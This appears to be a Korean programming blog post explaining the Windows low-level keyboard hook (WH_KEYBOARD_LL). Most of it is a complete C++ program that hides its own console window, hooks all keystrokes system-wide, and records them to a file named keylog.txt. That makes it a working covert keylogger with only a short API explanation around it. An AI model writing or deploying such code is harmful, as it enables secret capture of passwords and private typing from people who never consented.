WH_KEYBOARD_LL
저수준 키보드 후크는 해당 애플리케이션 창이 비활성화되거나 포커스가 없는 상태에서도 모든 키보드 입력 이벤트를 후킹할 필요가 있을 때 사용한다. OS 시스템 메시지 큐에 있는 키 이벤트가 응용프로그램에 도달하기 전에 후킹 되므로 후크 프로시저에서 이벤트를 차단하거나 수정할 수 있다.
#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <fstream>
HHOOK hHook;
std::ofstream logfile;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
LPKBDLLHOOKSTRUCT key = (LPKBDLLHOOKSTRUCT)lParam;
if (code >= 0 && wParam == WM_KEYDOWN) {
if (key->vkCode == VK_LCONTROL || key->vkCode == VK_RCONTROL) {
logfile << "[Ctrl]";
}
else if (key->vkCode == VK_LSHIFT || key->vkCode == VK_RSHIFT) {
logfile << "[Shift]";
}
else if (key->vkCode == VK_LMENU || key->vkCode == VK_RMENU) {
logfile << "[Alt]";
}
else if (key->vkCode == VK_RETURN) {
logfile << "[Enter]";
}
else if (key->vkCode == VK_SPACE) {
logfile << "[Space]";
}
else {
logfile << (char)key->vkCode;
}
logfile << std::flush;
}
// 후킹이 끝나면 다음 후크로 제어를 넘김
return CallNextHookEx(hHook, code, wParam, lParam);
}
int main(void)
{
HWND consoleWindow = GetConsoleWindow();
// 콘솔창 숨김
ShowWindow(consoleWindow, SW_HIDE);
logfile.open("keylog.txt", std::ios::out | std::ios::trunc);
// 저수준 키보드 후킹 셋
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hHook == NULL) {
return 1;
}
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) != 0);
// 언훅
UnhookWindowsHookEx(hHook);
logfile.close();
return 0;
}
가상 키코드 목록
https://learn.microsoft.com/ko-kr/windows/win32/inputdev/virtual-key-codes
'프로그래밍 > C++' 카테고리의 다른 글
C/C++ ] 윈도우 콘솔 프로그램 아이콘 변경하기 + 무료 아이콘 찾기 (0) | 2023.12.09 |
---|---|
C/C++ ] start 명령어 사용 새로운 프롬프트 창에서 시스템 명령 사용하기 (0) | 2023.12.08 |
C++ ] mutex, lock_guard (0) | 2023.10.08 |
C++ ] 인라인 함수 (0) | 2023.10.07 |
C++ ] 연속된 메모리 공간에 저장되는 벡터의 메모리 재할당 빈도 (0) | 2023.10.06 |